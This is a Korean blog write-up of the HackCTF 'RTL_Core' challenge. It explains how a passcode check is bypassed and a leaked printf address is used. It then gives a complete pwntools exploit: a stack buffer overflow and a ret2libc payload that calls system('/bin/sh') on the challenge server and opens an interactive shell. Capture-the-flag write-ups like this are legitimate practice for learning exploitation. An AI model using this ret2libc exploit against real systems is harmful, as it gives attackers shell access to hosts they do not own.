ii4gsp
HackCTF - RTL_Core 본문
파일을 다운받아 주자.
gets()함수로 입력을받고 check_passcode()함수의 인자로 입력한 값이 전달되고
check_passcode()함수의 인자와 hashcode의 값이 같으면 core()함수를 호출한다.
hashcode의 값은 0xC0D9B0A7 이다.
check_passcode()함수를 보면 주소를 4byte씩 증가시키며 값을 읽어 v2에 더하고
v2를 return한다.
hashcode의 값 0xC0D9B0A7을 5번 나누어서 전달하면 된다.
C0D9B0A7을 5로 나누면 0x2691F021이 나온다.
다시 곱하기 5를하면 C0D9B0A7에서 2가 마이너스된 C0D9B0A5가 나온다.
0x2691F021을 4번 전달하고 +2의 값을 전달해주면 된다.
core()함수는 dlsym()함수를 사용하여 printf의 주소를 출력해준다.
그리고 read()함수를 통해 buf에 0x64 즉, 100byte만큼 입력을받는다.
buf ~ sfp = 62byte이고, buf ~ ret = 66byte 이다.
Exploit
from pwn import *
r = remote('ctf.j0n9hyun.xyz', 3015)
libc = ELF('/home/ii4gsp/HackCTF/RTL_Core/libc.so.6')
payload1 = ''
payload1 += p32(0x2691F021) * 4
payload1 += p32(0x2691F023)
r.sendline(payload1)
r.recvuntil('0x')
printf = int(r.recv(8), 16)
libc_base = printf - libc.symbols['printf']
system = libc_base + libc.symbols['system']
binsh = libc_base + libc.search('/bin/sh').next()
payload2 = ''
payload2 += '\x90' * 66
payload2 += p32(system)
payload2 += '\x90' * 4
payload2 += p32(binsh)
r.sendline(payload2)
r.interactive()
소스코드를 작성해주자.
'시스템 해킹 > HackCTF' 카테고리의 다른 글
HackCTF - Look at me (0) | 2020.02.17 |
---|---|
HackCTF - Beginner_Heap (0) | 2020.02.17 |
HackCTF - Random Key (0) | 2020.02.16 |
HackCTF - 1996 (0) | 2020.02.16 |
HackCTF - Poet (0) | 2020.02.16 |
Comments